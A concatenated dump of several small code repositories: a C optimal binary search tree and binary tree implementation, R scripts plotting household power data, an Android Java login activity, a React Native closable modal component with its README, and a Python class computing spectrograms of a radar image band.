// Allocate memery for C, W, R
float ** C = (float **)malloc( (n + 1) * sizeof(float *));
float ** W = (float **)malloc( (n + 1) * sizeof(float *));
int ** R = (int **)malloc( (n + 1) * sizeof(int *));
// Init 2d arrays
for (i = 0; i <= n; i++)
{
C[i] = (float *)malloc( (n + 1) * sizeof(float));
W[i] = (float *)malloc( (n + 1) * sizeof(float));
R[i] = (int *)malloc( (n + 1) * sizeof(int));
for (j = 0; j <= n; j++)
{
C[i][j] = W[i][j] = 0;
R[i][j] = 0;
}
}
for (i = 0; i < n; i++)
{
// Initial values
W[i][i] = Q[i];
R[i][i] = 0;
C[i][i] = 0;
W[i][i+1] = C[i][i+1] = Q[i] + Q[i+1] + P[i+1];
R[i][i+1] = i + 1;
}
W[n][n] = Q[n];
R[n][n] = C[n][n] = 0;
for (m = 2; m <= n; m++)
{
for (i = 0; i <= n-m; i++)
{
j = i + m;
W[i][j] = W[i][j-1] + P[j] + Q[j];
//Knuth conclusion
minl = R[i][j-1];
minC = C[i][minl-1] + C[minl][j];
for (l = R[i][j-1]; l <= R[i+1][j]; l++)
{
if (minC < C[i][l-1] + C[l][j])
{
minC = C[i][l-1] + C[l][j];
minl = l;
}
}
/*
for (l = R[i][j-1]; i <= R[i+1][j]; i++)
{
if (minC < C[i][l-1] + C[l][j])
{
minC = C[i][l-1] + C[l][j];
minl = l;
}
}
*/
C[i][j] = W[i][j] + C[i][minl - 1] + C[minl][j];
R[i][j] = minl;
}
}
result.C = C;
result.W = W;
result.R = R;
result.n = n;
return result;
}
void constructOBST_subtree(int i, int j, int parent, int pos, BinTreeClass * T, int** R, DataObject * obj)
{
int t;
if (i <= j)
{
t = R[i][j];
printf("\nAdding %s child %d of %d", pos == 1 ? "left" : "right", obj[t].dataInt, obj[parent].dataInt);
BinTreeInsert(T, pos, obj[t]);
BinTreeSelect(T, pos);
constructOBST_subtree(i, t - 1, t, 1, T, R, obj);
constructOBST_subtree(t + 1, j, t, 2, T, R, obj);
}
}
BinTreeClass* constructOBST(OBST_result src, DataObject * obj)
{
BinTreeClass * obstree = malloc( sizeof(BinTreeClass) );
BinTreeInit(obstree);
int root = src.R[1][src.n];
printf("\nBuilding root: %d", obj[root].dataInt);
BinTreeInsert(obstree, 0, obj[root]);
constructOBST_subtree(1, root-1, root, 1, obstree, src.R, obj);
constructOBST_subtree(root+1, src.n, root, 2, obstree, src.R, obj);
return obstree;
}
<file_sep>/src/coreio.h
DataObject * readData (char * filename)
{
FILE *thisfile = fopen(filename, "r");
char fileBuffer[255];
DataObject * dataList[255], * objArray;
int i = 0, j;
do
{
fgets(fileBuffer, 255, thisfile);
dataList[i] = DO_New_s(fileBuffer);
i++;
}while ( !feof(thisfile) );
objArray = (DataObject *)malloc(i * sizeof(DataObject));
for (j = 0; j < i; j++)
{
objArray[j] = *dataList[j];
free(dataList[j]);
}
return objArray;
}
<file_sep>/src/core.h
enum
{
CLASS_LSHEET = 0,
CLASS_STACK,
CLASS_QUEUE,
CLASS_STRING,
CLASS_ARRAY,
CLASS_WSHEET,
CLASS_BTREE,
CLASS_GRAPH
};
enum
{
STS_OK = 0,
STS_FAIL,
STS_OVERFLOW,
STS_CRASH,
STS_MAX
};
<file_sep>/src/main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "core.h"
#include "models.h"
#include "bintree.h"
#include "coreio.h"
#include "obst.h"
void printMatrix(void ** target, int n, int isint)
{
int i, j, ** _this;
float ** _fthis;
if (isint)
{
_this = (int **) target;
for (i = 0; i < n; i++)
{
for (j = 0; j < n; j++)
printf("%d\t", _this[i][j]);
printf("\n");
}
} else {
_fthis = (float **) target;
for (i = 0; i < n; i++)
{
for (j = 0; j < n; j++)
printf("%.4f\t", _fthis[i][j]);
printf("\n");
}
}
}
int main()
{
DataObject * objects = readData("data.txt");
//float p[] = {0, 3.0/16, 3.0/16, 1.0/16, 1.0/16}, q[] = {2.0/16, 3.0/16, 1.0/16, 1.0/16, 1.0/16};
float p[] = {0, 0.5, 0.1, 0.05}, q[] = {0.15, 0.1, 0.05, 0.05};
OBST_result result = OBST(p, q, 3);
BinTreeClass *obstree = constructOBST(result, objects);
printf("Printing C:\n");
printMatrix((void **)result.C, 4, 0);
printf("Printing W:\n");
printMatrix((void **)result.W, 4, 0);
printf("Printing R:\n");
printMatrix((void **)result.R, 4, 1);
printf("OBST has been constructed.\n");
return 0;
}
<file_sep>/src/bintree.h
typedef struct BinTreeClass
{
struct BinTreeObject *root, *_this;
int height;
int count;
}BinTreeClass;
typedef struct BinTreeObject
{
int depth;
DataObject data;
struct BinTreeObject *parent, *lchild, *rchild;
}BinTreeObject;
int BinTreeSelect (BinTreeClass *T, int pos) //0 to select parent, 1 to select left child, 2 to select right child.
{
if (T->root == NULL)
return STS_FAIL;
if (T->_this == NULL)
T->_this = T->root;
if (pos == 0)
{
if (T->_this->parent == NULL)
return STS_FAIL;
T->_this = T->_this->parent;
} else if (pos == 1)
{
if (T->_this->lchild == NULL)
return STS_FAIL;
T->_this = T->_this->lchild;
} else if (pos == 2)
{
if (T->_this->rchild == NULL)
return STS_FAIL;
T->_this = T->_this->rchild;
} else
return STS_FAIL;
return STS_OK;
}
int BinTreeView (BinTreeClass *T)
{
if (T->root == NULL)
return STS_FAIL;
if (T->_this == NULL)
T->_this = T->root;
printf("Current selection: %s\n", DO_serialize(T->_this->data));
if (T->_this->parent != NULL)
printf("Parent: %s\n", DO_serialize(T->_this->parent->data));
if (T->_this->lchild != NULL)
printf("left child: %s\n", DO_serialize(T->_this->lchild->data));
if (T->_this->rchild != NULL)
printf("right child: %s\n", DO_serialize(T->_this->rchild->data));
return STS_OK;
}
int BinTreeTraverse_RF (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T)) // Root first
{
int mark;
if (T->_this != NULL)
{
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
}
if (T->_this->lchild == NULL)
{
T->_this = T->_this->lchild;
BinTreeTraverse_RF (T, visit);
}
if (T->_this->rchild == NULL)
{
T->_this = T->_this->rchild;
BinTreeTraverse_RF (T, visit);
}
T->_this = T->_this->parent;
return STS_OK;
}
int BinTreeTraverse_RM (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T)) // root middle
{
int mark;
if (T->_this->lchild == NULL)
{
T->_this = T->_this->lchild;
BinTreeTraverse_RM (T, visit);
}
if (T->_this != NULL)
{
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
}
if (T->_this->rchild == NULL)
{
T->_this = T->_this->rchild;
BinTreeTraverse_RM (T, visit);
}
T->_this = T->_this->parent;
return STS_OK;
}
int BinTreeTraverse_RL (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T)) // root last
{
int mark;
if (T->_this->lchild == NULL)
{
T->_this = T->_this->lchild;
BinTreeTraverse_RF (T, visit);
}
if (T->_this->rchild == NULL)
{
T->_this = T->_this->rchild;
BinTreeTraverse_RF (T, visit);
}
if (T->_this != NULL)
{
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
}
T->_this = T->_this->parent;
return STS_OK;
}
int BinTreeTraverse (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T)) // Root First
{
int mark;
if (T->root == NULL)
return STS_FAIL;
T->_this = T->root;
if (T->root != NULL)
{
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
}
if (T->root->lchild == NULL)
{
T->root = T->root->lchild;
BinTreeTraverse_RF (T, visit);
}
if (T->root->rchild == NULL)
{
T->root = T->root->rchild;
BinTreeTraverse_RF (T, visit);
}
return STS_OK;
}
/*
int BinTreeTraverse_NoRecursion (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T)) // Root First
{
int mark;
if (T->root == NULL)
return STS_FAIL;
T->_this = T->root;
if (T->root != NULL)
{
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
}
return STS_OK;
}
*/
int BinTreeTraverse_L (BinTreeClass *T, int (*visit) (BinTreeObject, BinTreeClass *T))
{
if (T->root == NULL)
return STS_FAIL;
if (T->_this == NULL)
T->_this = T->root;
BinTreeObject *queue[255];
int qs=0, qe=0, i, mark;
queue[qe] = T->_this;
qe++;
mark = (*visit) (*(T->_this), T);
if (mark > 0)
return STS_FAIL;
for (i=qs; i<=qe ; i++)
{
if (queue[i]->lchild != NULL)
{
queue[qe] = queue[i]->lchild;
qe++;
}
if (queue[i]->rchild != NULL)
{
queue[qe] = queue[i]->rchild;
qe++;
}
}
for (i=qs; i<=qe ; i++)
{
mark = (*visit) (*(queue[i]), T);
if (mark > 0)
return STS_FAIL;
}
return STS_OK;
}
int BinTreeInsert (BinTreeClass *T, int pos, DataObject obj) // 1 to insert as left child, 2 to insert as right child.
{
if (T->root == NULL)
{
T->root = (BinTreeObject *)malloc(sizeof(BinTreeObject));
T->count++;
T->height++;
T->root->depth = 1;
T->root->parent = T->root->lchild = T->root->rchild = NULL;
T->root->data = obj;
return STS_OK;
}
if (T->_this == NULL)
T->_this = T->root;
BinTreeObject *ithis = (BinTreeObject *)malloc(sizeof(BinTreeObject));
if (T->_this->lchild != NULL && T->_this->rchild != NULL)
return STS_MAX;
T->count++;
if (T->_this->depth >= T->height)
T->height++;
ithis->parent = T->_this;
ithis->lchild = ithis->rchild = NULL;
ithis->depth = T->_this->depth + 1;
ithis->data = obj;
if (pos == 1)
T->_this->lchild = ithis;
else
if (pos == 2)
T->_this->rchild = ithis;
else
return STS_CRASH;
return STS_OK;
}
int countLeaf (BinTreeObject obj, BinTreeClass *T)
{
T->count++;
return STS_OK;
}
int BinTreeUpdateCount (BinTreeClass *T)
{
if (T->root == NULL)
return STS_FAIL;
T->count = 0;
BinTreeTraverse(T, &countLeaf);
printf("Leave count: %d", T->count);
return STS_OK;
}
int updateHeight (BinTreeObject obj, BinTreeClass *T)
{
if (obj.depth > T->height)
T->height = obj.depth;
return STS_OK;
}
int BinTreeUpdateHeight (BinTreeClass *T)
{
if (T->root == NULL)
return STS_FAIL;
T->height = 0;
BinTreeTraverse(T, &updateHeight);
printf("Height updated: %d", T->height);
return STS_OK;
}
int BinTreeRemove (BinTreeClass *T)
{
BinTreeObject *_this;
if (T->_this == NULL || T->_this->lchild != NULL || T->_this->rchild != NULL)
return STS_FAIL;
_this = T->_this;
T->_this = T->_this->parent;
free(_this);
return STS_OK;
}
int BinTreeInit (BinTreeClass *T)
{
//T->root = T->_this = (BinTreeObject *)malloc(sizeof(BinTreeObject));
//if (T->root == NULL)
// return STS_FAIL;
//T->root->data = firstObj;
T->root = T->_this = NULL;
T->count = 0;
T->height = 0;
return STS_OK;
}
|
06911fbdd7943667cb8f078242b42afee7f57cf8
|
[
"Markdown",
"C"
] | 7
|
C
|
akasfei/bugfree-obst
|
5622470b2c750aa1a683b92ce77d56f46511eaaf
|
083579c93625f7c4ea320545b853409eeab92665
|
refs/heads/master
|
<file_sep>data<-read.table("household_power_consumption.txt",sep=";",header=TRUE,stringsAsFactors=FALSE,dec =".",na.string="?")
data$Date<-as.Date(data$Date,"%d/%m/%Y")
subdata<-subset(data,subset=(Date >="2007-02-01" & Date <="2007-02-02"))
DateTime<-paste(subdata$Date,subdata$Time,sep=" ")
subdata$Date<-as.POSIXct(DateTime)
par(mfrow=c(2,2))
with(subdata,plot(Global_active_power~ Date,ylab="Global Active Power", xlab="",type="l"))
with(subdata,plot(Voltage~Date,xlab="datetime",ylab="Volatge",type="l"))
with(subdata,{
plot(Sub_metering_1 ~ Date,ylab="Energy sub metering",xlab="",type="l")
lines(Sub_metering_2 ~ Date,type="l",col="red")
lines(Sub_metering_3 ~ Date,type="l",col="blue")
})
legend(x="topright",col=c("black","red","blue"),pch="",lty=1,lwd=2,legend=c("Sub_metering_1","Sub_metering_2","Sub_metering_3"),bty="n",cex=0.7,y.intersp=0.2,x.intersp=1)
with(subdata,plot(Global_reactive_power~ Date,ylab="Global_reactive_Power",xlab="datetime",type="l"))
dev.copy(png,file="plot4.png",width=480,height=480,units="px")
dev.off()<file_sep>data<-read.table("household_power_consumption.txt",sep=";",header=TRUE,stringsAsFactors=FALSE,dec =".",na.string="?")
data$Date<-as.Date(data$Date,"%d/%m/%Y")
subdata<-subset(data,subset=(Date >="2007-02-01" & Date <="2007-02-02"))
DateTime<-paste(subdata$Date,subdata$Time,sep=" ")
subdata$Date<-as.POSIXct(DateTime)
hist(as.numeric(subdata$Global_active_power),col="red",xlab="Global Active Power (Kilowatts)",main="Global Active Power")
dev.copy(png,file="plot1.png",width=480,height=480,units="px")
dev.off()
<file_sep>data<-read.table("household_power_consumption.txt",sep=";",header=TRUE,stringsAsFactors=FALSE,dec =".",na.string="?")
data$Date<-as.Date(data$Date,"%d/%m/%Y")
subdata<-subset(data,subset=(Date >="2007-02-01" & Date <="2007-02-02"))
DateTime<-paste(subdata$Date,subdata$Time,sep=" ")
subdata$Date<-as.POSIXct(DateTime)
with(subdata,{
plot(Sub_metering_1 ~ Date,ylab="Energy sub metering",xlab="",type="l")
lines(Sub_metering_2 ~ Date,type="l",col="red")
lines(Sub_metering_3 ~ Date,type="l",col="blue")
})
legend(x="topright",col=c("black","red","blue"),pch="",lty=1,lwd=2,legend=c("Sub_metering_1","Sub_metering_2","Sub_metering_3"),cex=0.75,y.intersp=0.4
,x.intersp=2)
dev.copy(png,file="plot3.png",width=480,height=480,units="px")
dev.off()<file_sep>data<-read.table("household_power_consumption.txt",sep=";",header=TRUE,stringsAsFactors=FALSE,dec =".",na.string="?")
data$Date<-as.Date(data$Date,"%d/%m/%Y")
subdata<-subset(data,subset=(Date >="2007-02-01" & Date <="2007-02-02"))
DateTime<-paste(subdata$Date,subdata$Time,sep=" ")
subdata$Date<-as.POSIXct(DateTime)
with(subdata,plot(Global_active_power~ Date,ylab="Global Active Power (Kilowatts)", xlab="",type="l"))
dev.copy(png,file="plot2.png",width=480,height=480,units="px")
dev.off()
|
72bfa4aa21b7c4b36e43456709510d99850a3977
|
[
"R"
] | 4
|
R
|
yoya86/ExData_Plotting1
|
27a1aaa1facb8564c62e0eed8bfca9fcef3bd15e
|
8dd72f32eef2b5c3026dc085a12579a4e9bc4eb5
|
refs/heads/master
|
<repo_name>LynnYuki/Load<file_sep>/app/src/main/java/activitytest/example/com/load/MainActivity.java
package activitytest.example.com.load;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
private EditText editText;
private EditText editText1;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button1= (Button) findViewById(R.id.load);
editText =(EditText)findViewById(R.id.edit_query);
editText1=(EditText)findViewById(R.id.edit_query2);
button1.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
switch (v.getId()){
case R.id.load:
String inputText= editText.getText().toString();
String inputText0=editText1.getText().toString();
Toast.makeText(MainActivity.this,inputText,Toast.LENGTH_SHORT).show();
Toast.makeText(MainActivity.this,inputText0,Toast.LENGTH_SHORT).show();
break;
default:
break;
}
}
});
Button button = (Button) findViewById(R.id.exit);
button.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
finish();
}
});
}
}
|
cdc50cc9c6bba63a00466d671d4cf75a7775ddd1
|
[
"Java"
] | 1
|
Java
|
LynnYuki/Load
|
96a280ce0b8304a62c849ab6887a753f9192c527
|
6aada4168326e23e87d2f769b1bcb32039a59430
|
refs/heads/master
|
<repo_name>MonicaGalicia/42_Apis<file_sep>/Trello2/js/main.js
var inputLista=document.getElementById("input");//input inicio creado en html
function addLista(){ //crear tarjeta 1
var parrafo=document.createElement("div"); //div añadir lista
parrafo.setAttribute('class', 'tarjeta');
document.body.appendChild(parrafo);
var inputLista=document.createElement("input");
inputLista.setAttribute("id","inputLista");
var botonGuardar=document.createElement("button");
botonGuardar.setAttribute("class","botonGuardar");
botonGuardar.innerHTML="Guardar"
var eliminar=document.createElement("span");
eliminar.setAttribute("class" , " fa fa-times");
parrafo.appendChild(inputLista);
parrafo.appendChild(botonGuardar);
parrafo.appendChild(eliminar);
function eliminarAddLista(){
parrafo.parentNode.removeChild(parrafo);
}
eliminar.onclick=eliminarAddLista;
function btnGuardar(){ //funcion guardar y crear lista
if (inputLista.value === "") {
inputLista.setAttribute("placeholder", "Ingresa un texto!");
return false;
}
var divDos=document.createElement("div"); //div con titulo y enlace para añadir Lista
divDos.setAttribute("id","divDos");
var texto=document.createElement("h5");
texto.setAttribute("id","textoTarjeta");
texto.appendChild(document.createTextNode(inputLista.value));
var addTarjeta=document.createElement("a");
addTarjeta.setAttribute("id" , "enlace");
addTarjeta.appendChild(document.createTextNode("Añadir Lista"));
document.body.appendChild(divDos);
divDos.appendChild(texto);
divDos.appendChild(addTarjeta);
inputLista.value = "";
function clickEnlace(){ //Al dar click en el enlace este se remplaza por un área de texto y un botón
divEnlace=document.createElement("div");
divEnlace.setAttribute("id","enlace");
var area=document.createElement("textarea");
area.setAttribute("id","area");
var btnAdd=document.createElement("button");
btnAdd.setAttribute("class","botonGuardar");
btnAdd.innerHTML="Añadir";
var eliminarT=document.createElement("span");
eliminarT.setAttribute("class" , " fa fa-times");
divDos.appendChild(divEnlace);
divEnlace.appendChild(area);
divEnlace.appendChild(btnAdd);
divEnlace.appendChild(eliminarT);
addTarjeta.parentElement.replaceChild(area,addTarjeta);//llamada de función que reemplazará textarea
function eliminarTarjeta(){
divDos.parentNode.removeChild(divDos);
}
eliminarT.onclick=eliminarTarjeta; //cuando de click en span "eliminarT" , eliminará a divDos que contiene a todos los elementos
function addElemento(){ //función para añadir una tarjeta que se moverá .
if (area.value === "") {
area.setAttribute("placeholder", "Ingresa texto!");
return false;
}
var divElemento=document.createElement("div");
divElemento.setAttribute("id","divElement");
divElemento.id="" + (new Date()).getTime();
divElemento.setAttribute("draggable", "true");
divElemento.style.backgroundColor="#F0F8FF";
var textElemento=document.createElement("h5");
textElemento.setAttribute("id","textoElemento");
textElemento.appendChild(document.createTextNode(area.value));
var borrar=document.createElement("span");
borrar.setAttribute("class" , " fa fa-times pull-right");
divDos.appendChild(divElemento);
divElemento.appendChild(textElemento);
divElemento.appendChild(borrar);
divDos.ondragover=permitir;
divElemento.ondragstart=arrastrar;
divDos.ondrop=soltar;
divElemento.ondragend=final;
//termina sección Drag and drop
area.value = "";
function eliminate(){
divElemento.parentNode.removeChild(divElemento);
}
borrar.onclick=eliminate;
//inicia DRAG AND DROP
function permitir(ev) {
ev.preventDefault();
}
function arrastrar(ev) {
this.style.backgroundColor="#2F4F4F";
ev.dataTransfer.setData("text", ev.target.id);
this.classList.add("transicion");
}
function final(ev){
this.style.backgroundColor="#F0F8FF";
}
function soltar(ev) {
ev.preventDefault();
var data = ev.dataTransfer.getData("text");
ev.target.appendChild(document.getElementById(data));
}
}
btnAdd.onclick=addElemento;
}
addTarjeta.onclick=clickEnlace;
}
botonGuardar.onclick=btnGuardar;
}
inputLista.onclick=addLista; //cierra 1era funcion del input
|
43d0a624f587d3ebc43d79d71bd5154a54293b11
|
[
"JavaScript"
] | 1
|
JavaScript
|
MonicaGalicia/42_Apis
|
4f5fecea5c4bd0f529154cd33dccfbb54f2a9e5a
|
b301ded390b6c1f847cb61951182bf4d220494a3
|
refs/heads/master
|
<repo_name>Kouznetsov/rn-closable-modal<file_sep>/ClosableModal.js
import React, {Component} from "react"
import {
View,
StyleSheet,
TouchableWithoutFeedback,
Modal,
Dimensions,
Platform
} from "react-native"
import {getBottomSpace, getStatusBarHeight} from "react-native-iphone-x-helper"
class Dialog extends Component {
_onLayoutReady = (event) => {
this.props.layoutCallback(event)
};
render() {
return (
<View style={{flex: 1, justifyContent: "center", zIndex: 110, backgroundColor: this.props.overlayColor}}>
<View style={[styles.dialog, this.props.popupStyles]} onLayout={(event) => this._onLayoutReady(event)}>
{this.props.renderDialogContent()}
</View>
</View>
);
}
}
export default class ClosableModal extends Component {
constructor(props) {
super(props);
this.state = {
show: this.props.show,
dialogDimensions: null,
isClosable: this.props.isClosable === undefined ? true : this.props.isClosable
};
}
_closeModal = () => {
if (this.state.isClosable) {
if (this.props.onClose !== undefined)
this.props.onClose();
this.setState({show: false})
}
};
componentWillReceiveProps(nextProps) {
this.setState({show: nextProps.show});
}
_onLayoutDialog = (event) => {
this.setState({dialogDimensions: event.nativeEvent.layout});
if (this.props.onLayoutCallback !== undefined)
this.props.onLayoutCallback(event);
};
_renderCloseArea = () => {
if (this.state.dialogDimensions !== null) {
const dim = this.state.dialogDimensions;
//const {height, width} = Dimensions.get('window');
const height = this.props.isLandscape ?
Math.min(Dimensions.get("window").height, Dimensions.get("window").width) :
Math.max(Dimensions.get("window").height, Dimensions.get("window").width);
const width = this.props.isLandscape ?
Math.max(Dimensions.get("window").height, Dimensions.get("window").width) :
Math.min(Dimensions.get("window").height, Dimensions.get("window").width);
let x = Math.abs(this.props.isLandscape ? dim.y : dim.x);
let y = Math.abs(this.props.isLandscape ? dim.x: dim.y);
x -= this.props.isLandscape ? getStatusBarHeight() : 0;
if (Platform.OS === "android")
return (
<View>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View
style={{
zIndex: 200,
position: "absolute",
height: y,
width: width
}}
/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View
style={{
zIndex: 200,
position: "absolute",
top: y,
height: dim.height,
width: x
}}
/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View
style={{
zIndex: 200,
position: "absolute",
top: y,
right: 0,
height: dim.height,
width: x
}}
/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View style={{
zIndex: 200,
position: "absolute",
top: y + dim.height,
height: height - (y + dim.height),
width: width
}}/>
</TouchableWithoutFeedback>
</View>
);
else
return (
<View style={{zIndex: 100000}}>
<TouchableWithoutFeedback onPress={() => {
this._closeModal()
}}>
<View style={{
position: "absolute",
height: y,
width: width
}}/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View
style={{
position: "absolute",
top: y,
height: dim.height,
width: x
}}
/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View
style={{
position: "absolute",
top: y,
right: 0,
height: dim.height,
width: x
}}
/>
</TouchableWithoutFeedback>
<TouchableWithoutFeedback
onPress={() => {
this._closeModal()
}}>
<View style={{
position: "absolute",
top: y + dim.height,
height: height - (y + dim.height),
width: width
}}/>
</TouchableWithoutFeedback>
</View>
);
} else
return <View/>;
};
render() {
return (
<View style={styles.globalContainer}>
<Modal animationType={'fade'}
onRequestClose={() => this._closeModal()}
transparent={true}
supportedOrientations={['portrait', 'landscape']}
visible={this.state.show}>
{this._renderCloseArea()}
<Dialog renderDialogContent={() => this.props.children}
popupStyles={this.props.popupStyles}
overlayColor={this.props.overlayColor === undefined ? "rgba(0,0,0,0.5)" : this.props.overlayColor}
pack={this.props.pack}
layoutCallback={(event) => {
if (this.state.dialogDimensions === null)
this._onLayoutDialog(event)
}}/>
</Modal>
</View>
);
}
}
const styles = StyleSheet.create({
globalContainer: {
justifyContent: 'center',
},
dialog: {
flex: 1,
position: 'absolute',
alignSelf: 'center',
zIndex: 100
},
});<file_sep>/README.md
This package is a closable modal for react native. This package allows to close the modal by:
* Tapping outside of it
* Hitting the back button on android devices
## Preview ##
| Android | iOS |
|---|---|
| <img src="https://i.imgur.com/ugkFJnr.gif" alt="android example" width="422" height="702"> | <img src="https://i.imgur.com/TEwySkz.gif" alt="ios example" width="362" height="702"> |
## Installation ##
`npm install rn-closable-modal`
## Then what ? ##
```
import ClosableModal from "rn-closable-modal"
<ClosableModal show={this.state.showModal}
onClose={this._onModalClosed}
orientation={"horizontal"|"vertical"}
overlayColor={"rgba(0,0,0,0.5)"}>
<YourModalContentComponent />
</ClosableModal>
```
## What are these props ? ##
| name | type | required | description |
|---|---|---|---|
| show | boolean | yes | true -> shown. false -> hidden. |
| onClose | function | no | callback called on closing the modal (e.g. to set your state) |
| onLayoutCallback | function(event) | no | callback called when the layout is ready (might be useful if you wanna know the size of some things before rendering them) |
| overlayColor | string | no | color of the overlay hiding the screen (`rgba(0,0,0,0.5)` by default) |
| isClosable | boolean | no | defines if the modal is closable or not by clicking outside or on back on android (default: true) |
| orientation | boolean | no | Defines which orientation the modal is in. Defaults to vertical.
## Example ##
An example of implementation is available [in this repository](https://github.com/Kouznetsov/rn-closable-modal-example/tree/master)
<file_sep>/index.js
import ClosableModal from "./ClosableModal"
export default ClosableModal;
<file_sep>/index.d.ts
import ClosableModal from "./ClosableModal"
export default ClosableModal;
|
0104c2db481d109c515bcba14497e7769db0c4f7
|
[
"JavaScript",
"TypeScript",
"Markdown"
] | 4
|
JavaScript
|
Kouznetsov/rn-closable-modal
|
433ff0f150390088698d3e45e6a14c6d5b3a6215
|
519d87bf5f974016170cad06865a475607e375c6
|
refs/heads/master
|
<file_sep>
import numpy as np
import matplotlib.pyplot as plt
from scipy import fftpack
from scipy import signal as ss
from how2spectro_Morlet2 import morlet2
from how2spectro_Morlet2 import cwt
class lib2:
"""
Class used for tutored project INSA 4 GMM
Attributes:
image : numpy ndarray of shape (Nx, Ny)
s : integer - sampling ratio
x, y : numpy ndarray with respective shapes Nx et Ny
fs : sampling frequency
ds_band : numpy ndarray of shape Nx - > extracted band from the image
f: frequency domain
"""
def __init__(self, image):
# Image is a matrix M x N
self._image = image[:,:-5]
self._s = 5 # 1 pixel corresponds to 5 km
self._Ny, self._Nx = np.shape(self._image)
self._interval = [712, 728]
self.extract_band(self._interval)
self._Sobs = self._Nx * self._s # Total spatial observation
self._fs = self._Nx / self._Sobs # sampling frequency
self._x = np.arange(self._Nx)/float(self._fs)
self._y = np.arange(self._Ny)/float(self._fs)
self._f = np.linspace(0, self._Sobs*self._fs, self._Nx // 2) / self._Sobs
self._TF = fftpack.fft(self._ds_band)[:self._Nx // 2] / self._Nx
self._multiplier = 1
def extract_band(self, interval = None):
'''
Extracts a band from the image.
If interval is a tuple, the element-wise average is calculated
By default the interval is [712, 718]'''
if interval == None:
interval = self._interval
if len(interval) == 1:
self._ds_band = self._image[interval,:]
elif len(interval) == 2:
ret = 0
for i in range(interval[0], interval[1]):
ret = ret + self._image[i,:]
ret = ret / (interval[1] - interval[0])
self._ds_band = ret
return ret
else:
raise ValueError
def plot_image(self):
'''
Plots the image in desibel using matplotlib
'''
plt.figure(figsize = (3,4))
plt.pcolormesh(self._x, self._y, np.log10(self._image)*10, vmin = -40, vmax = 0)
plt.show()
def plot_section(self, other = None):
plt.figure(figsize = (13,4))
plt.title("Section of the Paracou area")
plt.plot(self._x, np.log10(self._ds_band)*10, label = "Period 1")
if other != None:
plt.plot(self._x, np.log10(other._ds_band)*10, label = "Period 3")
plt.ylabel("dB")
plt.xlabel("m")
plt.legend()
plt.show()
def plot_sections(self, sig_in, sig_in2, label1 = None, label2 = None):
plt.figure(figsize = (13,4))
if label1 == None:
label1 = "Original signal"
if label2 == None:
label2 = "Shifted signal"
plt.plot(self._x, np.log10(sig_in)*10, label = label1)
plt.plot(self._x, np.log10(sig_in2)*10, label = label2)
plt.ylabel("dB")
plt.xlabel("m")
plt.legend()
plt.show()
def plot_signal(self, sig_in, title = None):
if title == None:
title = "Signal"
plt.figure(figsize = (13,4))
plt.title(title)
plt.plot(self._x, np.abs((sig_in)))
plt.xlabel("m")
plt.show()
def plot_TF(self, other = None):
'''
Plots the fourier transform of ds_band and ds_band itself
'''
plt.figure(figsize = (20,10))
plt.subplot(2,2,1)
plt.title("ds_band")
plt.plot(self._x, np.log10(self._ds_band)*10)
if other != None:
plt.plot(self._x, np.log10(other._ds_band)*10)
plt.subplot(2,2,2)
plt.title("Fourier transform of ds_band")
plt.plot(self._f, self._TF)
if other != None:
plt.plot(self._f, other._TF)
plt.show()
def decrease_resolution(self,sig_in, n):
'''
Decreases the resolution using numpy.convolve and updates ds_band
Reset by calling extract_band
'''
conv = np.ones(n)
return np.convolve(conv, sig_in, mode = 'same') / n
def spectrogram(self, name_win = "tukey", n_win = None, plot = True, multiplier = None, vmax = None, subplot = False):
'''
Plots the spectrogram of ds_band using the windowed Fourier transform, eventually returns spectrogram as well.
Z is multiplied by self._multiplier to ensure values > 1
Parameters:
'''
if vmax == None:
vmax = 1 * self._multiplier
if multiplier != None:
self._multiplier = multiplier
if n_win == None:
n_win = 57
if name_win == "tukey":
win = ss.get_window((name_win, 0.3), n_win)
else:
win = ss.get_window((name_win), n_win)
self._spectro_f, self._spectro_t, self._spectro_Z = ss.spectrogram(self._ds_band, self._fs , nperseg = n_win, window = win, noverlap=n_win/4., axis=-1, mode='psd')
return self._spectro_Z * self._multiplier
def plot_spectro(self, spect_plot):
plt.figure(figsize=(15,4))
plt.pcolormesh(self._spectro_t,self._spectro_f,spect_plot)
plt.ylabel('frequency [Hz]')
plt.xlabel('[m]')
plt.colorbar()
plt.show()
def cross_spectro(self, other, vmax = None, diff = True, prod = False):
'''
Calculates either the product or the difference between the computed spectrograms of two ds_bands (signals)
Assuming that the spectrograms are computed
Z is multiplied by self._multiplier to ensure values > 1
'''
if prod == True:
diff = False
if vmax == None:
vmax = 3
plt.figure(figsize=(15,4))
if diff == True:
plt.title("Spectrogram of the difference between the two WFT")
plt.pcolormesh(self._spectro_t,self._spectro_f,np.abs(self._spectro_Z - other._spectro_Z))
prod = False
if prod == True:
plt.title("Spectrogram of the product between the two WFT")
